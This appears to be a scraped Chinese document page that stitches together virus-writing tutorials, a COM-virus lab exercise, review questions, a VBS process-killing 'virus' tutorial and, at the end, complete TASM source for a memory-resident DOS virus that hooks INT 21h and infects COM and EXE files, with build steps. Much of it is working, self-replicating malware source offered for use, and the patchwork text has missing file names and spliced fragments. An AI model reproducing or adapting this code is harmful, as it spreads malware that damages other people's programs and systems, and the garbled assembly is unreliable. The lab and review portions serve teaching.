编写感染COM与EXE文件的病毒的样例程序
- 格式:doc
- 大小:55.50 KB
- 文档页数:8
关于计算机病毒的知识介绍最近有网友想了解下计算机病毒的知识,所以店铺就整理了相关资料分享给大家,具体内容如下.希望大家参考参考计算机病毒的知识计算机病毒(Computer Virus)是编制者在计算机程序中插入的破坏计算机功能或者数据的代码,能影响计算机使用,能自我复制的一组计算机指令或者程序代码。
计算机病毒具有传播性、隐蔽性、感染性、潜伏性、可激发性、表现性或破坏性。
计算机病毒的生命周期:开发期→传染期→潜伏期→发作期→发现期→消化期→消亡期。
计算机病毒是一个程序,一段可执行码。
就像生物病毒一样,具有自我繁殖、互相传染以及激活再生等生物病毒特征。
计算机病毒有独特的复制能力,它们能够快速蔓延,又常常难以根除。
它们能把自身附着在各种类型的文件上,当文件被复制或从一个用户传送到另一个用户时,它们就随同文件一起蔓延开来。
定义计算机病毒(Computer Virus)在《中华人民共和国计算机信息系统安全保护条例》中被明确定义,病毒指“编制者在计算机程序中插入的破坏计算机功能或者破坏数据,影响计算机使用并且能够自我复制的一组计算机指令或者程序代码”。
计算机病毒与医学上的“病毒”不同,计算机病毒不是天然存在的,是人利用计算机软件和硬件所固有的脆弱性编制的一组指令集或程序代码。
它能潜伏在计算机的存储介质(或程序)里,条件满足时即被激活,通过修改其他程序的方法将自己的精确拷贝或者可能演化的形式放入其他程序中。
从而感染其他程序,对计算机资源进行破坏,所谓的病毒就是人为造成的,对其他用户的危害性很大特征繁殖性计算机病毒可以像生物病毒一样进行繁殖,当正常程序运行时,它也进行运行自身复制,是否具有繁殖、感染的特征是判断某段程序为计算机病毒的首要条件。
破坏性计算机中毒后,可能会导致正常的程序无法运行,把计算机内的文件删除或受到不同程度的损坏。
破坏引导扇区及BIOS,硬件环境破坏。
传染性计算机病毒传染性是指计算机病毒通过修改别的程序将自身的复制品或其变体传染到其它无毒的对象上,这些对象可以是一个程序也可以是系统中的某一个部件。
如何写一个简单的病毒程序引:前些天学病毒这门技术着实吃了很多苦头,走了很多弯路,尽管按我的知识水平,病毒已经是水到渠成的学习内容了。
但是我现在学了入门才发现这门技术实际上隐藏着很多玄机,包含着许多技术,不专门学习研究根本无法达到“牛”的境界上去。
如今写了这篇文章,介绍的都是相当实用的东西,可以让你少走许多弯路(有时侯一个错误够你找几个小时的)。
不过需要些基础知识才能看懂。
假如你有天知识储备够了,不学学病毒将是你的遗憾。
另,由于是写给协会会员参考的,也没写的多“专业”,多了些赘述。
在你看之前,你应该知道这只是篇可以带你入门的文章,如果你已经会了就不用看了。
看的时候最好准备个PE表在旁边。
写病毒程序可以使用很多种语言来写比如C,汇编,甚至有人用Dephi这样可视化编程工具都能写出来。
但是最适合写病毒程序的还是汇编语言。
汇编语言底层,灵活,速度快,体积小的优势能将一个病毒程序发挥到极至,通常一个程序写出来才几千字节就包含了所有的功能。
一般一个病毒都有如下几个功能:一代码重定位二自己找到所需API地址三搜索文件、目录四感染文件五破坏系统或文件(随便你了)其中一,二项功能是必要的,五项功能是可选的。
而一个病毒程序感染文件的功能是它的核心,是衡量它质量的重要标准。
(一)代码的重定位一个变量或函数其实是一个内存地址,在编译好后,程序中的指令通过变量或函数的内存地址再去存取他们,这个地址是个绝对地址。
如果你将代码插入到其他任何地方,再通过原来编译时产生的地址去找他们就找不到了,因为他们已经搬家了。
但是,你在写程序时考虑到这个问题,你就可以在代码最开始,放上几行代码取得程序基地址,以后变量和函数作为偏移地址,显式的加上这个基地址就能顺利找到了,这就是重定位。
就象这段代码。
Call getbaseaddressGetbaseaddress:pop ebxSub ebx,offset getbaseaddressMov eax,dword ptr [ebx+V ar1]如果你使用宏汇编语言写病毒,请尽量使用ebx做基地址指针,不要使用ebp,因为ebp在调用带参数的函数时会改变。
COM病毒实验【实验目的】1、掌握COM病毒的传播原理。
2、掌握MASM611编译工具的使用。
【实验平台】1、MS-DOS 7.102、MASM611【预备知识】1、COM文件的特点COM文件是DOS的一种二进制代码的可执行文件,COM文件结构比较简单,加载过程十分迅速。
整个程序只有一个段。
因此全部代码长度必须小于64K,其入口代码地址是CS:100H。
DOS装入COM文件时,先在内存建立一个长度为100H的程序前缀段(PSP,由DOS建立,是DOS用户程序和命令行之间的接口),然后将整个文件装载于PSP上端,不进行重定位操作,接着将四个段地址寄存器DS(Data Segment),CS(Code Segment),SS(Stack Segment),ES(Extra Segment)初始化为程序前缀段(PSP)的段地址,最后将程序的控制权交于CS:100H处。
如表一所示:表1:COM病毒的装入和执行2、病毒原理COM病毒感染一般有两种途径,一种是将自身代码附加到宿主程序之前,病毒执行完后恢复寄生程序原先的状态,并用JMP FAR等指令使程序再次回到CS:100H处,以确保寄生程序与PSP的一致。
但更为常见的病毒为采用保存文件头若干字节,并将第一条指令改为“JMP 病毒入口”,以确保病毒最先执行。
病毒执行完后,会恢复并运行原文件,以便传播,当其将原文件参数全部恢复后,会将控制权交于CS:100H处。
【试验内容】本实验以尾部感染COM文件的病毒为例子,其中待感染COM文件“”、病毒源文件“virus.asm”如下所示:代码:.model tinyprogram segmentassume cs:program,ds:program,ss:program,es:programorg 0100hmain proc nearMOV DX,offset messageMOV AH,09hINT 21hMOV AH,4ChINT 21hRETmessage db 0dh,'This a simple com program for a test',0dh,0ah,'$'program endsEND代码virus.asm:CSEG SEGMENTASSUME CS:CSEG,DS:CSEG,SS:CSEGmain PROC NEARmainstart:CALL vstart ;病毒的代码开始处vstart:POP SI ;得到当前地址MOV BP,SI ;保存当前地址PUSH SIMOV AH,9ADD SI,OFFSET message-OFFSET vstart ;显示预设字符串MOV DX,SIINT 21hPOP SIADD SI,OFFSET yuan4byte-OFFSET vstart ;取得原程序中的前四个字节MOV DI,100h ;目的地址MOV AX,DS:[SI] ;开始复制MOV DS:[DI],AXINC SIINC SIINC DI ;将yuan4byte处的4个字节复制到100处INC DIMOV AX,DS:[SI]MOV DS:[DI],AXMOV SI,BP ;恢复地址值,将文件的头4个字节读入到yuan4byte处MOV DX,OFFSET delname-OFFSET vstart ;得到文件名ADD DX,SIINT 21hMOV DX,OFFSET filename-OFFSET vstart ;得到文件名ADD DX,SIMOV AL,02MOV AH,3dh ;写文件INT 21hJC errorMOV BX,AX ;文件句柄MOV DX,OFFSET yuan4byte-OFFSET vstart ;读文件的前四个字节ADD DX,SIMOV CX,4MOV AH,3fhINT 21hMOV AX,4202h ;到文件尾XOR CX,CXXOR DX,DXINT 21hMOV DI,OFFSET new4byte-OFFSET vstart ;保存要跳的地方ADD DI,2ADD DI,SISUB AX,4MOV DS:[DI],AXADD SI,OFFSET mainstart-OFFSET vstart ;准备写入病毒MOV DX,SIMOV vsizes,OFFSET vends-OFFSET mainstartMOV CX,vsizesMOV AH,40hINT 21hMOV SI,BP ;定位到文件头MOV AL,0XOR CX,CXXOR DX,DXMOV AH,42hINT 21hMOV AH,40h ;将新的文件头写入MOV CX,4MOV DX,OFFSET new4byte-OFFSET vstartADD DX,SIINT 21h ;将new4byte处4个字节内容写入文件开始处,即将文件开头设置一条jmp指令,;跳转到病毒开始处MOV AH,3eh ;关闭文件INT 21herror:PUSH AXRETmain ENDPyuan4byte:RETDB 3 DUP (?)vsizes DW 0new4byte DB 'M',0e9h,0,0filename DB "",0delname DB "del.txt",0message DB "Y ou are infected by a simple com virus~~"DB 0dh,0ah,"$"vends:start:MOV AX,CSEGMOV DS,AXMOV SS,AXCALL mainMOV AX,4c00hINT 21hCSEG ENDSEND start【试验内容】1、安装MS-DOS 7.10环境。
注:12.19更新第三章第2题、第5题的感染机制答案《计算机病毒》复习思考题第一章计算机病毒概述1. 简述计算机病毒的定义和特征。
计算机病毒(Computer Virus),是一种人为制造的、能够进行自我复制的、具有对计算机资源进行破坏作用的一组程序或指令集合。
计算机病毒的可执行性(程序性)、传染性、非授权性、隐蔽性、潜伏性、可触发性、破坏性、攻击的主动性、针对性、衍生性、寄生性(依附性)、不可预见性、诱惑欺骗性、持久性。
2. 计算机病毒有哪些分类方法?根据每种分类方法,试举出一到两个病毒。
3. 为什么同一个病毒会有多个不同的名称?如何通过病毒的名称识别病毒的类型?国际上对病毒命名的一般惯例为“前缀+病毒名+后缀”,即三元组命名规则。
1、系统病毒系统病毒的前缀为:Win32、PE、Win95、W32、W95等。
2、蠕虫病毒蠕虫病毒的前缀是:Worm。
3、木马病毒、黑客病毒木马病毒其前缀是:Trojan,黑客病毒前缀名一般为Hack 。
4、脚本病毒脚本病毒的前缀是:Script。
5、宏病毒其实宏病毒是也是脚本病毒的一种,由于它的特殊性,因此在这里单独算成一类。
宏病毒的前缀是:Macro。
6、后门病毒后门病毒的前缀是:Backdoor。
7、病毒种植程序病毒后门病毒的前缀是:Dropper。
这类病毒的公有特性是运行时会从体内释放出一个或几个新的病毒到系统目录下,由释放出来的新病毒产生破坏。
8.破坏性程序病毒破坏性程序病毒的前缀是:Harm。
这类病毒的公有特性是本身具有好看的图标来诱惑用户点击,当用户点击这类病毒时,病毒便会直接对用户计算机产生破坏。
9.玩笑病毒玩笑病毒的前缀是:Joke。
10.捆绑机病毒捆绑机病毒的前缀是:Binder。
4. 简述计算机病毒产生的背景。
5. 计算机病毒有哪些传播途径?传播途径有两种,一种是通过网络传播,一种是通过硬件设备传播(软盘、U盘、光盘、硬盘、存储卡等)。
网络传播,又分为因特网传播和局域网传播两种。
Option ExplicitPrivate Victim As String '要感染的文件的名字Private HostLen As Long '要感染的文件的大小Private vbArray() As Byte '病毒的代码Private hArray() As Byte '要感染的文件的代码Private lenght As LongPrivate MySize As Integer '病毒的大小Private Declare Function GetExitCodeProcess Lib "kernel32" (ByVal hProcess As Long, lpExitCode As Long) As LongPrivate Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As LongPrivate Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As LongPrivate iResult As LongPrivate hProg As LongPrivate idProg As LongPrivate iExit As LongConst STILL_ACTIVE As Long = &H103Const PROCESS_ALL_ACCESS As Long = &H1F0FFFPrivate Sub form_Initialize()Dim i As LongOn Error GoTo vbVerror '出错处理'原理:将生成病毒文件的代码读出,粘在要被感染的文件的后面。
3分钟教你编写“病毒”,不懂编程的门外汉也能秒学会提到编程,可能很多新⼿或者从未接触过编程的⼈会觉得特别⾼深,需要复杂的编译器等等,⼩编就给⼤家推荐⼀种脚本语⾔,vbs脚本语⾔,不需要编译器,⽤电脑⾃带的记事本就能够编写,下⾯⼩编教⼤家如何编写⼀个⼩⼩的脚本“病毒”程序,实现的功能就是悄⽆声息的禁⽌电脑中某个程序的运⾏。
1.控制⾯板->⽂件资源管理器选项->查看->隐藏已知⽂件夹类型的扩展名,如果前⾯勾选了就取消勾选,没有勾选就不⽤管。
2.新建⼀个⽂本⽂档,重命名为后缀为vbs的⽂件,如果第⼀步没有完成也就⽆法修改⽂件名的后缀。
3.右键vbs⽂件编辑,现在可以开始正式编写代码了。
doset bag = getobject('winmgmts:\\.\root\cimv2')set i = bag.execquery('select * from win32_process where name ='KuGou.exe'')for each objprocess in iobjprocess.terminatenextwscript.sleep 1000loop代码很简单,do loop是重复执⾏的意思,中间的代码被不断的执⾏,sleep 1000的意思是休眠1000毫秒,也就是中间的代码1秒钟执⾏⼀次,第⼆⾏代码的意思是遍历所有进程,然后第三⾏代码设置KuGou.exe为进程对象,接着for next 遍历系统正在运⾏的进程,如果有KuGou.exe的进程就将它杀掉,每秒执⾏⼀次。
代码完成了,是不是很简单!(看不懂也没关系,复制粘贴就⾏)4.保存⽂件,运⾏⽂件,之后你会发现⾃⼰的酷狗⾳乐不管怎样都打不开,当然你也可以把代码⾥⾯的KuGou.exe换成其他的软件的进程名,实现的效果就是禁⽌该软件的运⾏,即使⽤杀毒软件杀毒也⽆法运⾏该软件。
怎样用C语言编写病毒在分析病毒机理的基础上,用C语言写了一个小病毒作为实例,用TURBOC2.0实现. [Abstract] This paper introduce the charateristic of the computer virus,then showa simple example written by TURBOC2.0.一、什么是病毒恶意软件可能是第一个对我们产生影响的计算机安全问题.所以病毒在信息安全中是很重要的.我们要对付病毒,就要了解病毒.写一些病毒是一个很好的办法.如果要写一个病毒,先要知道它是什么.可以给病毒一个定义,这一定义是被广泛认可的。
Frederic Cohen博士在《计算机病毒简短讲座》中提到的:“……一种能够通过修改自身来包括或释放自我拷贝而传染给其他程序的程序。
“其实病毒和普通程序并无太大不同,而且通常比较简单,不像很多程序那样复杂。
只不过病毒里面用到一些正常程序一般不会用到的技术。
要编制一个病毒,首先要知道病毒的运行机理。
不论是何种病毒,它一般在结构上分为三个功能模块:感染机制,触发机制和有效载荷。
在病毒结构中,首要的而且唯一必需的部分是感染机制。
病毒首先必须是能够繁殖自身的代码,这是病毒之所以成为病毒的根本原因。
我们可以用一段类C伪码来表示这个过程。
InfectSection(){if (infectable_object_found&&object_not_already_infect)infect_object;}病毒的第二个主要构成部分是有效载荷触发事件.一个病毒来到你的电脑后,不大可能立即发作,否则它不会被传播得很远.潜伏的敌人永远要比能见到的敌人危险得多.病毒一般是在找到一定数量的感染体,某一日期或时间,某一段文本后触发.一个简单的触发机制可能是这样工作的:TriggerSection(){if (date_is_Friday_13th_and_time_is_03:13:13)set_trigger_status_to_yes;}有效载荷就是病毒用来骚扰你的电脑的方法,有触发机制的病毒一般也有有效载荷。
实验六 COM病毒【实验目的】●了解COM病毒的原理●掌握COM病毒的分析及其修改过程●能够根据病毒特征还原COM文件【实验人数】每组1人【系统环境】Windows【网络环境】交换网络结构【实验工具】masmW32Dasm【实验步骤】本练习单人为一组。
首先使用“快照X”恢复Windows系统环境。
1. 自制(1) 在c盘目录“c:\VIRUS_C”下新建两个文件“c.asm”和“virus.asm”。
如下图所示:图32-3-1(2) 编写“c.asm”中的代码,如下图所示:图32-3-2(3) 编译生成“c.exe”,运行如下图所示:图32-3-3(4) 在当前目录下查看新生成文件,如下图所示:图32-3-4(5) 将“c.exe”转换为“”程序,如下图所示:图32-3-5(6) 查看新生成的“”文件,如下图所示:图32-3-62. 自制virus.exe(1) 在“virus.asm”中添加代码,如下图所示:图32-3-7(2) 编译生成可执行文件,如下图所示:图32-3-8(3) 查看生成文件,如下图所示:图32-3-9 3. 感染并查看(1) “”正常执行,如下图所示:图32-3-10(2) 感染,如下图所示:图32-3-11(3) 感染后文件变化,如下图所示:图32-3-12(4) 复制“”一个新文件“”,以便后面修改使用。
执行“”结果如下图所示:图32-3-13图32-3-144. 修复(1) 对“”进行修复,如下图所示:图32-3-15(2) 将“test1”改为“”,并执行,如下图所示:图32-3-16(3) 打开“W32Dasm”工具,查看相关修改前后的文件内容,如下图所示:图32-3-17 查看源文件图32-3-18 查看感染后的文件图32-3-19 查看修复后的文件。
※黑客攻防指南※==>病毒信息==>编写感染COM与EXE文件的病毒的样例程序编写感染COM与EXE文件的病毒的样例程序;此程序是d由v0病毒改装升级而来;在DOS下才有一定的传染能力;此程序部分应用了32位编程;制作方法如下;tasm32 dv1;;tlink dv1;;Debug dv1.exe;-n ;-w;-q;最后生成病毒程序OFF equ OffsetDosMcb Struc ;Dos内存控制链结构(部分)Flag db ? ;是'M'则不是最后一块;是 'Z'则是最后一块Owner dw ? ;是008: 则是系统所有;是0则为未使用内存块Sizes dw ? ;本块大小,按节计算(1节=10h字节)DosMcb EndsExeHeader Struc ;Exe文件头结构Flags dw 'ZM';Exe文件标志ModSize dw ? ;Exe文件最后一页字节数Pages dw ? ;Exe文件页数(1页为512字节)Reloc dw ? ;Exe文件从定位项数MeSize dw ? ;本文头节数MinMem dw ? ;该程序所须最小内存(节)MaxMem dw ? ;该程序所须最大内存(节)StartSs dw ? ;程序Sp初值StartSp dw ? ;程序相对Ss初值CheckSum dw ? ;文件头检查和StartIp dw ? ;程序Ip初值StartCs dw ? ;程序相对Cs初值RelocOff dw ? ;从定位信息偏移ExeHeader EndsVirusSize=OFF @@End-OFF @@Start ;(病毒大小)VirusMemSize=OFF @@MemEnd-OFF @@Start ;(病毒需要的内存大小).386.model small.codeorg 100h ;按COM格式编写@@Start: ;病毒引导块pusha ;保存所有通用寄存器mov ax,4d4dhint 21h ;是否已经驻留内存(自定义中断)cmp ax,4d4dhjz short @@ExecOldApp ;否,调用安装模块call @@Install@@ExecOldApp:mov ah,2chint 21h ;得到系统时间cmp cx,22*100h+30 ;(Cmp 时间:22:30)jb short @@TestFlag ;不到22:30不调用显示消息call @@DisplayMsg ;调用表现块@@TestFlag:clc ;预设为Clc指令,表示是Com文件(若在传染时被改成Stc则是Exe文件)jc short @@IsExeApp@@IsComApp:call @@GetOldComAppCodeOldAppCode dw 20cdh ;20cdh恰是Int 20h指令,用以返回Dosdw 0000h ;这里为保存原COM文件头部4字节信息@@GetOldComAppCode:pop si ;得到OldAppCode的地址mov di,100hcldlodsdstosd ;恢复原COM头部4字节popa ;恢复所有通用寄器push word ptr 100hret ;去执行原COM程序@@IsExeApp:popa ;恢复所有通用寄器cli ;改变堆栈指针时要关闭中断mov sp,es ;得到Psp( Sp=PSP段址)add sp,10hSpAddData dw 0c481h;0bch是add sp,xxxx指令OldAppSs dw 000h ;原Exe文件Ss相对值mov ss,sp ;计算出原程序堆栈并恢复MoveDataToSp db 0bch ;0bch是mov sp,xxxx指令OldAppSp dw 000h ;原Exe文件Sp值sti ;从新开启中断push axmov ax,es ;得到Psp( Ax=PSP段址)add ax,10hAxAddData db 005h ;05h是add ax,xxxx指令,计算原程序Cs值OldAppCs dw 000h ;原Exe文件Cs相对值movzx esp,sp ;转化为32位[esp]式堆栈寻址xchg ax,[esp] ;恢复ax,而不能用"xchg ax,[sp]"16位不支持[sp]式堆栈寻址PushWordData db 068h ;068h是push word ptr xxxx指令OldAppIp dw 000h ;原Exe文件Ip值retf ;去执行原Exe程序@@Install:push dspush es ;保存段寄存器mov ax,dsdec ax ;得到自己的MCB结构段址,它在程序的PSP前@@ContFindLastMcb:mov ds,axcmp ds:[Flag],'Z' ;是最后一块吗?jz short @@FoundLastMcbadd ax,ds:[Sizes]inc ax ;计算下一个MCB 的段址=本块段址+本块大小+1jmp short @@ContFindLastMcb@@FoundLastMcb:sub ds:[Sizes],(VirusMemSize/10h)+1 ;把最后一块大小减去病毒所须内存大小(节数)add ax,ds:[Sizes]inc ax ;计算出病毒在高端RAM的地址(即在最后一块划出的空间段址)mov es,axxor di,dipush cspop ds ;复位数据段call @@GetVirusBase@@GetVirusBase:pop sisub si,OFF @@GetVirusBase-OFF @@Start ;得到病毒首址mov cx,VirusSizecldrep movsb ;把病毒搬运到高端地址sub ax,10h ;计算出高端病毒的段地址(为使病毒偏移对齐,所以减去10h)mov ds,ax@@ContInstall:mov ax,3521hint 21h ;取Int 21h的中断向量,并保存mov ds:OldInt21Seg,esmov ds:OldInt21Off,bxlea dx,@@NewInt21mov ax,2521hint 21h ;设新的Int 21h处理程序到@@NewInt21处pop espop dsret@@NewInt21: ;新Int21 h服务程序(传染块)cmp ax,4d4dhjnz short @@NextHookiret ;是自定义中断,直接返回@@NextHook:cmp ah,4bhjz short @@MyBeComcmp ah,43hjz short @@MyBeComcmp ah,3dhjz short @@MyBeCom ;截获4b,43,3d号Dos功能@@JmpOldInt21:cli ; 进入Int21h前,需要关中断!JmpFar db 0eah ;远跳转指令jmp xxxx:xxxxOldInt21Off dw ?OldInt21Seg dw ?@@CallInt21: ; 模拟Int 21h指令pushfpush cscall @@JmpOldInt21ret@@MyBeCom: ;入口参数ds:dx=以零结尾的Com文件名字符串pushapush dsmov si,dxxor al,al@@ContFindExtName: ;找扩展名inc sicmp [si],aljnz short @@ContFindExtNamemov eax,[si-4]or eax,20202020h ;转化为小写字母cmp eax,'moc.' ;是.com文件吗?jz short @@IsComFilecmp eax,'exe.' ;是.exe文件吗?jz short @@IsExeFile@@ExitOpt:pop dspopajmp short @@JmpOldInt21@@IsComFile:call @@CallInt21 ;3dh,打开COM文件jc short @@OptComFalse ;失败mov bx,axpush cspop ds ;复位数据段mov ds:byte ptr[@@TestFlag],0f8h ;设为Clc指令,表示传染的是Com文件lea dx,OldAppCodemov cx,4mov ah,3fhint 21h ;读文件首部4字节jc short @@CloseComFilemov si,dxcmp word ptr[si],'ZM' ;是否是EXE文件(是否是Com文件不能仅由扩展名判断)jz short @@CloseComFile ;是就不感染cmp byte ptr[si+3],'V';是否有已感染病毒标志jz short @@CloseComFile ;是则说明该程序已经被感染了mov ax,4202hxor cx,cxxor dx,dxint 21h ;将文件指针移到文件尾,返回dx:ax=文件长度or dx,dxjnz short @@CloseComFile ;文件太大不感染mov dx,axadd ax,VirusSizejc short @@CloseComFile ;文件太大不感染cmp ax,0fd00hja short @@CloseComFile ;文件太大不感染sub dx,03 ;计算出Jmp Virus的偏移量mov ds:JmpOffset,dxlea dx,@@Startmov cx,VirusSizemov ah,40hint 21h ;将病毒写到文件尾部mov ax,4200hxor cx,cxxor dx,dxint 21h ;把文件指针移到文件首mov cx,04hlea dx,@@JmpVirusmov ah,40hint 21h ;写Jmp Virus与病毒Flag 4字节到文件首部@@CloseComFile:int 21h ;关闭文件@@OptComFalse:jmp short @@ExitOpt@@IsExeFile:mov ax,3d02hcall @@CallInt21 ;3dh,打开Exe文件jc @@OptExeFalse ;失败mov bx,axpush cspop ds ;复位数据段mov ds:byte ptr[@@TestFlag],0f9h ;设为Stc指令,表示传染的是Exe文件lea dx,MyExeHeadermov cx,size ExeHeadermov ah,3fhint 21h ;读文件首部4字节jc @@CloseExeFilecmp ax,cxjb @@CloseExeFilemov si,dxcmp word ptr[si.Flags],'ZM' ;是否是EXE文件(是否是EXE文件不能仅由扩展名判断)jnz @@CloseExeFile ;不是就不感染cmp [si.CheckSum],'VV' ;是否有已感染病毒标志jz @@CloseExeFile ;是则说明该程序已经被感染了mov ax,4202hxor cx,cxxor dx,dxint 21h ;将文件指针移到文件尾,返回dx:ax=文件长度cmp dx,8hja short @@CloseExeFile ;文件太大,可能是Windows应用程序shl edx,16mov dx,axpush edx ;保存文件大小shr edx,4sub dx,[si.MeSize] ;计算病毒在该Exe程序中新的相对Csand ax,0fh ;计算病毒在该Exe程序中新的Ip值(0=<Ip<10h)mov cx,dx ;cx=dx=新的相对Cs值xchg [si.StartCs],dxmov ds:[OldAppCs],dx ;修改相对Cs值,保存原相对Cs值xchg [si.StartSs],cxmov ds:[OldAppSs],cx ;修改相对Ss值,保存原相对Ss值xchg [si.StartIp],axmov ds:[OldAppIp],ax ;修改Ip值,保存原Ip值xchg [si.StartSp],ax ;修改Sp值,保存原Sp值mov ds:[OldAppSp],axmov [si.CheckSum],'VV';设置传染标志pop edx ;弹出文件大小mov ecx,VirusSizeadd edx,ecx ;计算感染后文件的大小mov ax,dxand ax,1ffh ;计算感染后文件的ModSizemov [si.ModSize],axadd edx,1ffhshr edx,9 ;计算感染后文件的Pagesmov [si.Pages],dxlea dx,@@Startmov ah,40hint 21h ;将病毒写到文件尾部mov ax,4200hxor cx,cxxor dx,dxint 21h ;把文件指针移到文件首mov cx,size ExeHeaderlea dx,MyExeHeadermov ah,40hint 21h ;写文件头到文件首部@@CloseExeFile:mov ah,3ehint 21h ;关闭文件@@OptExeFalse:jmp @@ExitOpt@@JmpVirus:JumpNear db 0e9h ;近转移指令Jmp near xxxxJmpOffset dw ?VirusFlag db 'V' ;病毒标志为'V'字符@@DisplayMsg:pop dxpush dxadd dx,OFF @@Message-OFF @@TestFlag ;计算@@Message的偏移量push dspush cspop dsmov ah,09hint 21h ;显示信息,“夜已深,你该睡觉了!”pop dsret@@Message:db 0ah,0dh,07hdb 'Night is deep,you must go sleep!' db 0ah,0dh,'$'db 'Go Sleep Ver3.0 by Whg 2001.5.2' @@End:MyExeHeader db size ExeHeader dup(?) @@MemEnd:end @@Start。